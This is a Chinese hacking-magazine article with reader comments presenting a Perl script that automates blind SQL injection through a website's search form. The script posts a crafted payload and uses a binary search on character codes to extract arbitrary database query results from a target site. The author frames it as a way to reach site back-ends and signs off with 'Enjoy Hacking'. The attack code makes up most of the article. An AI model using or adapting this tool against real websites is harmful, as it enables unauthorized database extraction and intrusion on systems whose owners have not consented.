Perl编写搜索型Blind SQL Injection辅助工具[一]
编写搜索型Blind SQL Injection辅助工具
[0x50sec]
首发《黑客防线》,版权规作者和黑防所有,未经允许请勿转载。
SQL 注射当经仍是攻击网站的主要手段之一,今年很多网站注意了这方面的防
范,明显的GET型式的注射修补了,往往忽略了搜索框的数据过滤,使攻击者有机
可乘。然而对于盲注来说,手工非常麻烦,往往要提交成百上千次才能查询到想要
的信息进入后台,强大的盲注工具sqlmap往往需要很多烦人的参数(对于搜索型的
注射我还真不会用),我是一懒人,与其记别人的参数还不如自己写一个。
《黑客防线》的老读者是否还记得以前有一篇文章叫《老树新花 溯雪在SQL
Injection中的应用》,讲得是通过溯雪来进行搜索型的Blind SQL注射,非常有新
意,比手工注射省了一些力,不过得自己用C语言生成字典,每次读一个字母得麻
烦好几次,挺麻烦的,而且结果不直观。
程序(以PHP+MYSQL为例)是单线程的但是通过一个递归函数采用折半法猜解,效率
很高,读一个字符一般只需要7次POST。
为了节省版面,对MYSQL 4没有技术含量的暴力猜测表名跟字段名没有写,有兴趣
的网友看了下面的程序肯定能够自己写出来的。
程序非常短,我加了详细的注释,有问题请到黑防论坛找我,直接上代码:
1 #!/usr/bin/perl
2 # for educational purpose only!
3 use POSIX;
4 use LWP::UserAgent;
5
6 $target = “http://www.xxxx.com/search.php”; #搜索action对象
7 $truestr=”shitouge”; #正确页面的真字符
8 $offset=0; #select … limit $offset,1;
9 $subset=1; #substring(“$sql”,$subset,1)
10 $result=”"; #多余的为了直观看到结果
11 $oknum=0; #每次查询正确的结果的ascii码
12 $sql=’@@version’; #sql 查询语句
13 $sql=$ARGV[0]; #需要查询的sql 查询语句,也就是程序的参数
14 $long=0; #保存保存得到正确结果的数据数组大小的变量
15 @oktb=(); #保存保存得到正确结果的数据数组
16 $oktbnum=’1′; #每次查询正确的结果的ascii码
17
18 for($subset=1;$subset<200;$subset++) 19 { 20 $oknum=half_guess(1,150); 21 if($oknum==0) 22 { 23 last; #相当于C语言的break语句 24 } 25 $result.=$subset.”:”.$oknum.”\n”; #下面几句为了直观的显示数据 26 $long=@oktb; 27 @oktb[$long]=$oknum; 28 print “$result”; 29 print “[+]$sql:”; 30 foreach $oktbnum(@oktb) 31 { 32 printf(“%c”,$oktbnum); #格式化输出ascii码为字符 33 } 34 print “\n”; 35 } 36 print “Done…\n[+]$sql:\n”; 37 foreach $oktbnum(@oktb) 38 { 39 printf(“%c”,$oktbnum); #格式化输出ascii码为字符 40 } 41 print “\n[+] Enjoy Hacking…\007\n\n”; #输出\007响铃告知我们运行结 束 42 43 sub half_guess #盲注的判断ascii值的语句的递归函数采用折半法 44 { #($min,$max)区间代表一个范围,正确的字段数在其中我们折半缩小之直 到找到正 确字段数 45 #$min 代表能够正常显示的已经确定的最小整数 46 #$max 代表不能够正常显示的已经确定的最小整数,作为我们可以确定的 范围的最 大数所以叫其”max” 47 my ($min, $max) = @_; 48 if($max==1&&$min==0) #这句是说查询的字符串到末尾了’\0′退出函 数 49 { 50 return 0; 51 } 52 if($max-$min==1)#如果能正常显示的最小整数比不能正常显示的最小整 数大一那> 么最小的数$min
53 { #就是要找的正确字段数目退出递归函数返回之
54 return $max;
55 }
56 #如果上面条件没成立就取范围中间的数字作为递归函数的一个参数
57 my $mid=int(($min+$max)/2);#取两个正整数的平均值
58 #print “max:$max,min:$min,mid=$mid\n”;
59 $final=”shit%\’ and ascii(substring(($sql),$subset,1))>$mid #”;
60 print “[*] Test ascii(substring(($sql),$subset,1))>$mid…\n”;
61 #print $final.”\n”;
62 my $lwp = new LWP::UserAgent or die;
63 my $res = $lwp->post( $target,
64 ['title' => $final,] #post的变量名
65 );
66 my $myres=$res->content;
67 #printf($myres) ; #测试
68 if($res->content =~ /$truestr/)
69 {
70 $min=$mid; #如果返回为真,就把$mid 赋值给能成立的范围的
小边界
71 half_guess($min,$max); #递归调用函数
72 }
73 else
74 { #与上面两句相反
75 $max=$mid;
76 half_guess($min,$max);
77 }
78 }
下载地址:post.pl.tar
$final=”shit%\’ and ascii(substring(($sql),$subset,1))>$mid #”;“>”在注入中貌似不能用。
请问有联系方式吗,想请教一下.
你这个Perl我没看懂是怎么盲注判断值的呢.
不会使用,能不能给一个调用的例子,并附上说明 !谢谢